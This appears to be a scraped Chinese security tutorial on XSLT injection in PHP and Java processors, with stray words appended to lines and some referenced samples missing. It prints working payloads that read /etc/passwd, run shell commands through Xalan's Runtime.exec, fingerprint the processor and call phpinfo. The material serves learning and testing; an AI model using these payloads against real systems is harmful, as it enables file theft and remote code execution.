XSL(可擴展樣式表語言)是一種用於轉換XML文檔的語言,XSLT表示的就是XSL轉換,而XSL轉換指的就是XML文檔自己。轉換後獲得的通常都是不一樣的XML文檔或其餘類型文檔,例如HTML文檔、CSV文件以及明文文本文件等等。php
通常來講,應用程序或模板引擎在處理不一樣文件類型時須要使用XSLT來進行數據轉換。不少企業級應用比較喜歡使用XSLT,好比說,多用戶發票應用程序可使用XSLT來容許客戶自定義它們的發票,客戶能夠根據本身的需求來修改發票信息以及格式。html
其餘常見應用:java
- 報告功能
- 多種格式的數據導出功能;
- 數據打印和輸出功能;
- 電子郵件;
Talk is cheap, show me the code!下面就用php給你們演示下如何使用xsl對xml文件進行轉換。apache
顯示xml文件,a.xml:服務器
再看下evil.xsl文件:dom
其實我也不一樣xsl,可是從上面文件不難看出,大概意思就是循環根節點fruits下的全部fruit子節點,並查詢子節點中的name節點和description節點。xss
最後就是php程序裏利用evil.xsl文件對a.xml文件進行轉換了,代碼以下:函數
本身寫的代碼,因此非常簡陋。大概意思就是利用dom解析xsl和目標xml文件,而後加入到XSLTProcessor對象中進行轉換。訪問該php文件:ui
發現解析xml了,可是連在一塊兒非常難受,我嘗試再裏面借入<br/>,發現能換行,說明被渲染了。spa
因而嘗試在裏面加入js腳本
很顯然,說明xslt注入能致使xss。
可是xslt注入致使的問題遠不止這麼點,嘗試xxe漏洞讀取文件,還能夠換一種方式來讀取文件
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:value-of select="document('/etc/passwd')"> </xsl:value-of></xsl:template> </xsl:stylesheet>
不過這種貌似只能讀取xml文件,讀取其餘類型文件報錯了,有點煩...
算了繼續下面的吧,xslt處理器若是不由用,能將本機的java語言方法暴露爲XSLT函數,致使任意代碼執行漏洞,因爲我用的是php代碼,就不演示了,直接貼上代碼
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
上面說了這麼多都是在xsl徹底受咱們控制的狀況下,也就是說咱們能夠上傳xsl文件。但不少時候咱們只能控制xsl文件的部份內容(這裏說的xsl文件並不必定是指.xsl後綴的文件,目前瞭解的狀況下好像任意後綴均可以,只要格式是對的就行)。一個易受攻擊的應用可能會使用不可信的用戶輸入動態地生成 XSLT 文檔。例如,該應用可能會生成某個 XSLT 文檔時,裏面部分字符串是不可信的用戶輸入。能夠參考文章https://bbs.pediy.com/thread-222921.htm
爲了驗證該應用是不是易受攻擊的,咱們一般會插入一些會致使 XML 文件語法錯誤的字符,例如雙引號、單引號和尖括號{", ', <, >}。若是服務器會返回錯誤,那麼這個應用就有多是易受攻擊的。通常而言,這種定位技術與定位 XML 注入漏洞的技術相似。
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<xsl:text>xsl:vendor = </xsl:text><xsl:value-of select="system-property('xsl:vendor')"/><br/>
<xsl:text>xsl:version = </xsl:text><xsl:value-of select="system-property('xsl:version')"/><br/>
</body>
</html>
php
<?xml version="1.0" encoding="UTF-8"?> <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <body> <xsl:value-of name="bugbounty" select="php:function('phpinfo')"/> </body> </html>